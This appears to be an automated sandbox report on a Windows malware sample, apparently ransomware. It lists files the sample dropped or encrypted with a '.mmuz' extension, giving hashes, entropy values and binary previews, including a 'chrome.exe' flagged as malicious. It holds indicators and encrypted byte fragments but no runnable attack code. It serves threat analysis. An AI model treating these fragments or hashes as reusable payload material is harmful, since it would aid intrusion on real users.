Preview:	.{..,.o....FzT_..uQ.).,_..,..9a........Q.0..P1.P.;.A[.F.U.9.>\S.I.......".....r......;M.....v.....cJ.,........Q..(...!V.Rz....gUI.]y7Kd...2K7...\?3r7Y.*.n7.O..#..@m...B.....5T0...#y^c..a.2w{.H............a.}c..>-.].Ezv.!mZ`....PBr+..{.......RH[Vjm@.#f....0."11..Jr.P..........ErL.7.]v...~`..L.\dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\IconCache.db.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	11305
Entropy (8bit):	7.982867409422865
Encrypted:	false
SSDEEP:	192:KH2hCBEdBpd0XXxrJdp0xO0Z4UAkLaUxD4mjNEX367LhNd:KW4BEHd0npHp0OklMINE67Vj
MD5:	404D5C33ACE2C2D7C518F77D9EE31FA3
SHA1:	E6042888F251A83738D6FA9A07572DB1EE7A2BE8
SHA-256:	391A1DAD71458FBEE1F8AD4629E69F07DF0DDF339B3717EBBD52B083BAD60E8E
SHA-512:	49E4CBDFB3F1E489F1272A4E0BCCD5C55CED2A26406A0D30EA25C20925222CA0F5D4EA026AEBE234C6F34C49AD0AC99575CAAE2A7903C96AD5C278DF810BCC37
Malicious:	false
Preview:	H...W......ULlp......?.J.Sn.N.'g..}...v9.s..N......RR.%Z^.2q!w`.....l3..u<.<=..../......V9...I.B,...........GP.,XJy..lg.@f.....R=...)...O..V.<..W.....2..a.-...I&+.E...,#.I6..0....h..l.%.V* .+~...M.@4.U.....sFV.J.c(.}....f.s.V.P.<.Z1r.@...h...P....v:l..*.(..# ....&......mg.NYsH."t#....9..5E.........-./h.9.....(...i..T.l.BYL.vN.%...N.g...-.]f.`......&....a....1.f..V.r(.h..nx..f.....[.I^@....^?he.r...........Dq.UL.xX.D.. ....x+l..!m..!w.$..p..j:.0..F.1.}.P.v:..{4.u...........6BB.\|6/.o.A..y..n....).+.=.c_\|J~....Ru.Q.e.M...A0.@S.....&f..Db.`....6...c.:@xL....g..d.U....s.9.wx..).....F.Q..k.xU&.........K....g..^.(ez.x.w....{..t..W4.j0]&T..k.......g;.g17)..4...A....kNsA.....a.j.....,.. .jK.....pa.%N.%.'{.Vf`$S.8}.....m..$&/.L..=`z.'.1.;......`......3....7...d....k...I..h\|N~1>..TB...v...;.bSp$.....'. ...N.........z....Gj...'..eT..5@.v.....K7.d...m..".so..?...de..)..oy.CIQ.$.K.....sF.;`N..^....@.V....N.#r..Z.4'z.`l....7L..\|....a.o..`..#..bl.L.[.&F2z

C:\Users\user\Local Settings\Temp\.ses.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.343965016097931
Encrypted:	false
SSDEEP:	12:aiaq8FeE4QU5lWHMJ4xg1bgso//Jn+Prgcii9a:aiadNd0dcYgn4kbD
MD5:	EAF64C6E9DC1738195093DFB276063B7
SHA1:	6482DABA8EAED173E756B9C83647CD50D7FEC9A5
SHA-256:	164C1D9A5AAAAD7C1EE1A5EA696282D3D4853D13E9BE930F625BC322C8CEFAC3
SHA-512:	5D9723D8A3EA5174AFCE54A097E3FDA188CDC10B05AD70870D31514D2892BB3177FF777AC61509EB8D120903E9BAA8361ED14ED0FF6FDDC42DAEB193E794878A
Malicious:	false
Preview:	16964......aH....;...4L...\.._..p....vA;AB..-,7.L..%..jV....+...=2.<_.z...W......v...A`...9..C.a...u.5..@.."..'=.,...j....7............8....~.^!.,.(VB*<.-.~...i.[..d.....O..`Q..GW....O....Qs......Z....A...)....R...k...V...}..`,.86......\|x.=h...^md.....H)..."...t....Oue+..pO...4..8sG...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Temp\02FD7DBF.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\160A5A17.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993077632243832
Encrypted:	true
SSDEEP:	384:BKTxpCmXo3kuIsXP+278e3mVN5fZpy9LHYtN90TdHLRamNZJVUvbB4CzuKboFm:ETvCmXo0u9jQe2L5BpQZI+Wvd4CBboM
MD5:	DC991B39F599B92956E0379408BF4C8A
SHA1:	DEEC8AD12EF2E5BBFEF8EC1A6ECAA33FED558E3A
SHA-256:	D62ECD24B699C41ADCF078B6CD5E51903782BC781C381EF4598FF3967296C2C2
SHA-512:	3402A28B5E2CED0BA84DC93C6DB01238F98501DDA12787C60EEF476F9E01F1B379EB5D96CCA2B4AC4A6C7E501063DF56EFBDA5649B6DF8894310F690AD7A0F73
Malicious:	false
Preview:	SQLituu.z.C..hS%_..s..L.$/+.K./.#c\|..-..eM..._.........W_...I...K..6}a.`.Z.T..#>....>pB".j..&TW."g.N9..a=...TF..!.u...8A....ah.f../....V..M..%]...gk.G....J.....<1D....3..?.l.1.{..)U.VB....w.......`.F..9..m...N.A.%.c.....\|....a....P.....n...zu/.V.q.8^O....M.m.5Ny.R...F.k..q..(.q0t..jl#....z.s.k.B.O...V...%.;0.i..........(.l....S...].G.+o!.h...7X.....".......zH.b..+.Ol....aU>.t..r..Y(.r....q.......B.....IS.....F^tQ..Y.....+f].N8....m...b..I....i..8..9...#.1....I1}JX..4.MM6.1....~w..y$..<`v..... .>.0.^...\|....}....5.......`.........?.....Dq.1.3.A......:u.9=.s.P.]..4..*.z...N.'..Z..V.ih..eli~R..@.9k....%.J_~Pf..czJ..'...A....4....2..../w....Mv...].......W.....J3.e..L.. >Jh.db..t&.@.q.... ...%06...R...2U.l..f...Gf.^...7%M@...P..,X....;'.m0`.yD.E..W[a......5.9...L...._..d.....a..Mv..!..t&.C.U..5tY5..U.......@h..2.d..nYuk.).... ....6.....k.[\|]...Q..F.j.,....?fJx.r.?..f.M_.-.I1.......]>..`.To}......t.....T..Q_....f.;...R..H..n........%`<..

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997064483347928
Encrypted:	true
SSDEEP:	1536:/8v3cYJrBZBcrGw80eqUGz//z+gFwPUBSllPR/d1CCp6:Uv3cYJrpKGa/z1YUQXR/dJ6
MD5:	CEDE70B7B09E28D1FDE2AADC9114D05B
SHA1:	F292092FFFF7605B482EA3B9DAFC2B18557AAAFF
SHA-256:	2E5A57F53A92B0F125204C01CC65325BD4DF75ED275E607F1B0196A9450FDBD1
SHA-512:	D5886F442ADF07E05E6D7A42543A78362B51C14BAC3CAEA9AD84CD7D911AE1E934335AD8BD0F802124893132A09EB0B6B0ABB769ADD6292A1C3C275B80F31311
Malicious:	false
Preview:	1G.f..+..;...YDY.O..3......du.....:Mq...(z..Z)..:..v&wlV.......s.7.di.Y.R....+...6.g....;y.............pE).zf.vJ.9ofE.....w.]l,......l....(...m0....D...vv.....'Z.ES...?....%.....0'.3z...J...}5.~aa(...w..,.@....E`1...e.....1M?X..qn.......b..j:....,C..h...7..-LtN]X)....fa.[.4'.z.).F.'...s...+.JM...i.;.8..F5%..HB.r....V...<._h..b5r....&@...D...\.j..XU.K..V.Y<.ul...p..a..........).S...m$e.'..B.]}%.?.X..2J.I.....>2....V_G..`.,%..F..2W..dr...u.ph.O.....g..P......L..x...\f...o..1..9a..t..!2V...I..'.<q.>`....%....p.e~...xi4.."up1...t.`F....f}@....CXA..8..\|\.,.....G.o&.-.....}.H....3bOB.\R..p...y..DVv'#....../..:.HA...l.....>RlLI..y7K. ..j...<~...2.%...c...L...?.!..W.I.G..N...).d.e...:.....=s...... ..d.9p..C..osCTm\Pz.?...}.&.<=@...b..Vg..V}v......p.e...{.~O..x.CV."S.Y.......E...jl..u..Q....&h.b.C...N...q..8E.(.BS.....R....A...j..\|...#..q...UhT.3....<9.i4..7......A.WS...C..............Lj...*......e..s.vi5.....HP.C.@.............&..

C:\Users\user\Local Settings\Temp\3ABA34D5.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\4ECB7A11.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\5B2B1360.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\79A93DE2.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\AdobeARM.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	3495
Entropy (8bit):	7.9340935495650236
Encrypted:	false
SSDEEP:	96:oRfe4X8hwk2MYxFvi42GhZN9l2fOCeSraNVwfodBlZC:emUTk2MY/viMvN9EWCDrodBlM
MD5:	70970E5B3000C5C87E9BED9EC0A22331
SHA1:	10EBD3098A30073C500C0394E4342BFDE35339CA
SHA-256:	B6ACB09453E8063C7E055DD9303B1EEB9E8F9E1CC132C54EFD42E68F3FF849F8
SHA-512:	2FB487F6D4376E9B1B14087894F96ADBEA9A82860A6BDB833AF19057AA1777DDCAFE306736E401667377A5333E0C3A5423BFAC7FE2DEE6BF66D54F813A6F76E6
Malicious:	false
Preview:	[2023O......U.g.Z...-....\|.....+9n.c@.E..$..&...(......6..J.v.x8.\|X..!$.`..[...{J..s8.(:.wOh./jj1..T.[H(..l..i...J........][-.J..Cb....O,.$.....#......;s...u..P..-....dW...0......F.R.~-..-.K..D..n.....l.j.W^...\B.<.]...Xim...../...Q.W.}.g)dp.'..2....7.9]EE.n~..-&.O...{z$..@#..l.QL.E-GE....>-..,.M}..2.i.eF.w...e...ah.6..X.-!.....F...J..4.E.O...u...ZG\|....R.$.j..[.t.]..^...1....s.PB..(.....6.....g-B.ZL..&E.D\=]M.w,..z..9;..L6...B.."B:..<.F........QR.?......k.qkr.a.W.<....]..".W..)..79$..~T.?.bq.E....u..<...t..J...#$.Fs...E0..E...@.. ...K..Y.........(..,.X.a.{Z./....O..7.K.#.&..zA.0...0?.;....z.{.^[.]....)....I'....E.]..6&....,.3.L..1..N{..?.*..d.SOS....2E0..s.$...s.......D..Y]<'Mc>K.Sm.@.U.v.#...T].0.....9^E.9n............8'P...^X.k.<vA.=..d...kav...&.{e.^.:g.....NOF..0..F........q..K.[.d.....+...c......E8o......"...9C..x..]q"..pb..?S...$S$o..D....[g.X..>.8#.4...Vu...a.hr.7w.H...Q....T4...K.F-...\W'W.._...w.,.RG...8....O.>f...a.=..-.@.

C:\Users\user\Local Settings\Temp\user-PC-20231005-0824.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	39138
Entropy (8bit):	7.995314892673523
Encrypted:	true
SSDEEP:	768:8JybX4QKixmS4iWKBqeA/owx79nROgl7kVcYEJLsZYzO+tkBkbLjO:8JoYixFnwoY79nRv7k3E9su1tkSbLK
MD5:	A6EFF28FA497D2D5ABFC23430831A95A
SHA1:	12DD9F91F2BE0F139E1B668A881B0AACFFA13FD9
SHA-256:	374390CA613B4B1C65A9A7DD65B030753976983F97A57BFB912C0DBB61DB23D2
SHA-512:	67E0F74C6C3AD50E42FDD809D87E43B45BC78282C53C147F49B806CB9536CC04B2290979150291EA8533492E8639CC7CF5755FD56C9B8F1DB0A1E5B50B0EFA48
Malicious:	false
Preview:	..T.ivns.d .......~.[....n......$.m.g..(.=...J[.G...VPD...q0.PgP.....k..:> ..."...Y.t...N...E.8..js.....>K}.!.........d&.."..t.2].s.OY..X.D....p.M..lh....VFz.&...tq..........#.Z.j...v...H.2d.W.7H'C..dFO`f...P/...L.(...+...C."wCi.X'K..04...;.r...J.B.M.Y..'.hn...8..N..!-RX+.`h..YM.i......Z..Lx.=.d._.G.5....^.....kK.K..>.m.b....3J..a...Kn..`..&J.....1.3(....NT..<.)....[y..iR.W...d%..#T.9.P.(.H......&..(..$....R@..V]2!._N./..9M....yh+.K........)......ITX.g.i.J.KT.ZQc.4.hhc..}./#...~...`f/.........).\|..G.].4FD..vh.w..K.4).=..<".=.\|.d=..3.qM3.4..N..N...\`i.....L......<.x...)r .k.BZ`5$!..$$.{..i.h.O'@..=...$1....,..Z....a.....7....pF[.......\.0..1.Kz..=.._!.R.#..4.\|an...4qq..:B#...1....i.ur.....&..o...x5k.]...&....g....s...X.~....t-y..h..D....D..LI.._..4.Oi.{.O.....!.Y..<..,=K.4D...t._..*O..dD..Ng.LZ...W5.n.1...!r7...:Q88..>&..&.`.)....C..8H.........ThW.2D..z.$.%.D..8.o.}\|.c.<3L.1%...t.....G,.tLs..-$o.^..B.....-......]G..U... .5....Ks.....J.1

C:\Users\user\Local Settings\Temp\user-PC-20231005-0824a.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	178558
Entropy (8bit):	7.770379393015934
Encrypted:	false
SSDEEP:	3072:W5AaOqs5sJQolTj0yQtXER/hPVAEuXqD/8Kx5SHEzB4Ntbg4fbWblXNF:W0TsJQo6tUphemFIQ+tb7TWpD
MD5:	AC6A764794DC2C19D500B98E8697757C
SHA1:	0D762DB7A8419C62678EB6ED87632BECB73D973A
SHA-256:	44FA6897FAF2D528861A53AEF94F80C46BAFE4F4140F0BD5A4497B344ECF5BE3
SHA-512:	34B18B2DD96BE0EA93CCAA7059C2678A9037EE6A80089144F84D9D95CB8AFB57E9F060444987B31B24519462FB277E17A2E835C39DA19377745C33A6505E6D30
Malicious:	false
Preview:	..T.i..k..e.Z%...F...5]....Jrc.....VKp...}.FHT!.....z..,..42"kd...5....}.;kc...\|<..(.'ZE...m..r.\|......e...R.....R.C.PA..O.lnd..6.Rt.Uz.=.(i[R...h....C.\N.1o..NlZR-..P~.~.#....Z#.o...c.,..$...9.N.Ir(.w{TP]wk.;.uK&...!pU...,....$..\|..p.+.....}.i[Y.E.v.u.[gSe98.]..W.2.z..b.p:/.\A`.6x^p......O"5..."].3......#..g......F.:_..8...H>....-oi.5z.K.U:g........E.}...F.I..C..+.R.o...^..p......HM.@.6j?......E..\G.:.........7...LQ..^...j..q..[..}Z...x.]....j....I.~d?......b..3[.K~86.P.J..D.._.f _2../...U..$..S..@?.#.......J..V.+.X.......Qsp.P........N?y..).B.c.f..j!.;...)...R..u.5.qD..b.W"I..'.V.'......yK.S.%W_/F#..t6Z.....U~H0.......;.e.Q^.v.M.=)I..k="...<U../$.\......z*.........G........yO."...i.@v..+.oN....."...}.oNP....,..R!..+....r.;O..{. ..L!.P=.i..'..B_..y.$B$y...a.nO....%..........6.(r.c..I.D...0..d.w.....\|8.!.x..~...Q.......R...1<.<.v....e..\|....gQK.x.w]x!...w....?z. .?..o..b...... K.9...+H.n.........F(....c.....&.!/N.r.qJmkt...~.....

C:\Users\user\Local Settings\Temp\user-PC-20231005-0824b.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	260578
Entropy (8bit):	6.926173544616269
Encrypted:	false
SSDEEP:	6144:gyiAOLtvK39tavdcZszNBm3v0AE6c6Y5iuHokyF/MjicF3ZofQNnXJQbfYeuHGVX:gJlLFKraVqeNB/Ag5iuHokyF/MjicF3y
MD5:	0152B29FC887C554A7D439EB54AA768C
SHA1:	D7B4E7D57ECB7FC40F83047C9F3920B9F360081A
SHA-256:	E2A71B4755908287044908D15A4D7E384A0E24FF262CBB77000C1BA2EAE7E28D
SHA-512:	90B9C6E86FE6A9091B0EC527BBE283C08C1F2F0EB3FD968BB7D65DA9C92BDB8951EDD330A039947350CB513BC1432D000A03AC2A9D2951688D4CEC0265F08913
Malicious:	false
Preview:	..T.i.......j.<Nk)t.......}...io.`J9..u...`1>......-...94.k2e\b).]E/U.}{].\.f<.........}..C.B..y.xc. ..b...T.$.d...I...A}8..XXO...d....t.'.E.Z..G..h?(...Y...^...\n.Leu...c.tO\.}/J.hO..C<b.J...z....V..~.R.....BY.%./Q^Ji.\|......k.i.c......spf...}..j........j..~`..[..~.s..[.9O..@..l.b.w.f.:M..z.f.]. ....../M.dZ.-.k..@...e$...P.8%...}+....z,..3@...J....z.7.....Q1.v..Y...p5./.t....(.-....:..gX..9.0.d.2..l...M.......~.CGY.).yKkV$\.E.Czyj...4>D..P..dhp.Hm..NU.a\|......h.j......rI7....b....>...2.:Ui....P....:..9.bK[......92S...s.....N#].E.r..(.(.}..F..>I..,.g.B...."....u.1.UAD....B$....~2z...?TC..S.............j..Q_(.C.T..aC.Y.......;..37....FCq...,=^..?5...io.5u..-.\.@Z....]. .pP.c..$...)r."9.~.a.....7w...Qv.J....B..D..'..).FA.x."."Tf..K8f.../.E............\DHQT.........X,.(:...h.g....O..r.2...W..)....m.....LSp...8zo.0f`.%..Q....d..$...0.......oR]...)..z..0l.....-..pS..2...BP..o.1E...5'....Z..' ....3A.G...!:o...B....:..s..'.J..`(.ue...8...4L.Q.5..bk.....

C:\Users\user\Local Settings\Temp\user-PC-20231005-0826.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	217610
Entropy (8bit):	7.288797846002853
Encrypted:	false
SSDEEP:	6144:UU+9xZJZQfIPlr9x7gEMGQ3EtFpE4F1K8YD7cL1EPL+9dzfVjGBB659Q0512q+JS:ZWxjZqI9r9ZAx3EtFpE4F1K8YD7cL1Em
MD5:	90C9BEA0FEE0B190BF48C51A231E2C50
SHA1:	C222F45751B37094F7EB6976192F0D992B0285CB
SHA-256:	0E520D59AD227590A62A6EE01A5AEC7E66C1603EFB4B54484B5D5193EC9B1204
SHA-512:	DC8B7C73D4D4C7A38302BC1E491930289E80A2A2AB4C9945897657F91F2CE2C45527BA1DD8CA5E86415C57795E631E5B5BF3D19F73B1B22972D720075761290F
Malicious:	false
Preview:	..T.i.4.zQ....\.WU17./.}...>u.)......)s>..W..!...D..@..3......{.;M.O.:H..d.jgU.^.C..)8.C.{..2....]C...s.."..../.}..J.F._0\CR...u.. ,e....Mx.2...\|a.c.\|^....se'.pS..a+7.......qbL..b.....O...#6...LF....a....aC.....Zn.....{.(........ao....Dj TR..O)J.nj/k.>...d.7T........7...@g%....'.i...:`M\..........S.u....)8.S.)\L.....Zv.7D...F...$.LS.Bg.:]Z.BC..../=..B.".....!....R...5...2...R......(UK...n.<.....j..DX..\|S...J....z.t..Z.......a9.1.....7..XG.kW..q}........v..fb.1E..Q..2.....D....0.....A..?...YV.D......B.}...._.6.....0j...^.'.;...'~......9.._vdl)..D.\|..Y.,.y.M...D..T.....6.>..H...$...]....5`.....\..Ln.4....d....kp..gq......O....#...`!-........>..C...9.A.Q.I.x~....Y..K6..u...V...?.r..wR..Wbn...8gb.._"........L...OCv..@.6o..t..~X..(.F..z.&(..g\|b.<....@..=.0.N.Mjd....O..`..J...`b.6.yy....HiK.@p..j-..Sm........[j.~....._..C..XG....?.M.@a...9T.\|....}....E.v..?.4.i.~..(....T......F..x...C....h.C.).8w.F.?....>..5..jO&. N_..,..[\o..[..;!..

C:\Users\user\Local Settings\Temp\user-PC-20231005-0829.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	393546
Entropy (8bit):	6.117209229303411
Encrypted:	false
SSDEEP:	6144:pZX415NgJ8ffjsneXPK1/76zyhAS3nqCqVRcWXTGQ3b:pZXqgJ84KPGG2qM0Tx3b
MD5:	5DFCB10D5F66D0F11528AA7F37E700D8
SHA1:	4B537EDD4C11F1648B4C4C5D11A592EBA7CF80F0
SHA-256:	7BA96AA90D8B572DFB9DD3DF5F5E1C43D56F79F66EBDD0021888E8B5550448CF
SHA-512:	DAA27587FA7DB4164787D8102D8F783375A91A81C7A790877FA3831694F656BF3ED29D266BFBD3B878CFAE847C101294C008D4E9F0D7AD41B359DD29DD9E15AC
Malicious:	false
Preview:	..T.i...:....u.....s...........&.Ud...5,Y2...e.t[.......F.Ju....rP..LjEV. ...^E@..WcMk.j.... ..z..0...&....U. .......%<.@.$_....y........~!..v..Tr<6r...g .......ljp'..Y4<....EW.."..F.@1..5.....J..1..n.y...V...C....l...D..C..".K. ...".#.!,.w...Yr^..@r..i....,.xr........Q.v....5.....P.~ -.nm.."bm...B...c/.a.... ..^..l..b...EKe.....9..2@T..a_..8..8..U4(..c1......QF...5z.^d8..vy....Q..D..Nh5......7.iY...L.........._...4...<....;....V..H.I..[...X...4.p..\|..t$^.]............K.wq.w..E...v...A.3.....".k...........?N`....<B+.....R..t.a.z....y........F/...=P2./...N..._...#bbH.9.7m........t..`..S..9..j.rp)..5.Y.._s..i..z.L.~.Os..R.:.J`....BA....Z.....+.d4.G.!(N...Q.8&..Ij.....C.z...1...^...6..........k..C.].a+.t....$....8....J.u.....(.[4<.A....\|.....;..._.Q.b.E.'...<..@......M...)..T..........{....K._f....j4y..s+....#7m.pS).3.20;(5.V..."`!,U.[B_...U.A.;.7q'..:..>g....S.W....JZp..:K...i[.D......W.C.m`.X.+[.X.+z.....$/a.`A.O..0IEr..Iy..j..m.

C:\Users\user\Local Settings\Temp\chrome.exe.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	141134
Entropy (8bit):	7.998387564428915
Encrypted:	true
SSDEEP:	3072:2i7+cIoeacFveCC3ZjZFfvZ17mWUaiutyuFC3J2SAym4:2yLuveCSZjffvnUaiutyu4ESA2
MD5:	6F9EF1944A068BFC5AE10196DF0B77BD
SHA1:	B22C02272025851F979AF6DBDBCCA46484558E21
SHA-256:	4AD4B3B34E8E3E0629D5F9EA642634D503F390362E8B9C5EC6E6E019441815FF
SHA-512:	E9F0E8E36B04BACAE55B40C71D04657A87E560B54F2DE5F295062C28ABF35A16B6CE44462EA12C9BEA6829947D9429D321189BFB852F63EFD784F6724FAA6B61
Malicious:	true
Preview:	MZ....H. .8c.S....A.'..m[...(Xa.6..6.....\si....`..V.....q.....3\|#......M.g.....=...E....-..V..~.4..QFE....9..3v...r...m.X.D...X.9........F]%.s...-.....j.!.].......\.v.z....>........./....Ln....,.k1.1iE..X.....V`...I.uBx.9....+.....y....._..k......p....X."...f.2.v..";!....F...?..TW[........x.`...CT..}.\|.rB=5.lV}.=...35.P............NK.E...2^...L..qv.@.Z....0..I....b!..(.kn.....<.&..,..gtTf..w2....w/.Oh..?.L..?...39...=....#......p.....+Yj.G.W..8.??..E.k3 lA.C...(W.U88.E..`....@.t.&..FS.4...G.....PG^..'.@..@...a.>.6....O!-$..,"j.(...M....O.e....d..3J. <.c=...D.up.`.T..;'.#u...!U..z..(..`...<&....s...\|.5.Y<J....k..xk.ygT\|.....Q_.G^s.....c...^..W.NV...=...Rgw..@..."..i.. .Gb9.....Y_6....W.s....@...r.6..`....w.[..r.w3.vp.w....C..o..l.6.k..)...Y<.....8C.@.e.....a.A..m,....s.........dq...IT...t.W....R(.g.v....+\]..#]....g....[.........X...{".0..PV......n_.JB.."{{6.....i}O..c.i.A8...[..m.:.T/%.p*.......L....u.AI..\|U...hb......N.r..(.q..GS...(..

C:\Users\user\Local Settings\Temp\chrome_installer.log.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	6256
Entropy (8bit):	7.968075611624938
Encrypted:	false
SSDEEP:	192:UlZOWGzb2vI13Qitdq+BSxfpj433JUVUsHXrM:UeWwWgIfpc3JGUgg
MD5:	5D5F1599D597EEEC49657A4AA57C0920
SHA1:	6C9205AA6F0F211BEDA3A75C1D6E7481F4B1D094
SHA-256:	F13AD4C60C54A9A03C1724E41038A833F04C246E4050C1A7CB605CD43670551C
SHA-512:	9D7C987D8F96A776D6B83741ACB46D417BA034EAFBD27B05F479F12041B7AD1E12E1E0C802EED6386E2C22AF1D374FE672A0A4C643B4BD924BEC11B8079A26FC
Malicious:	false
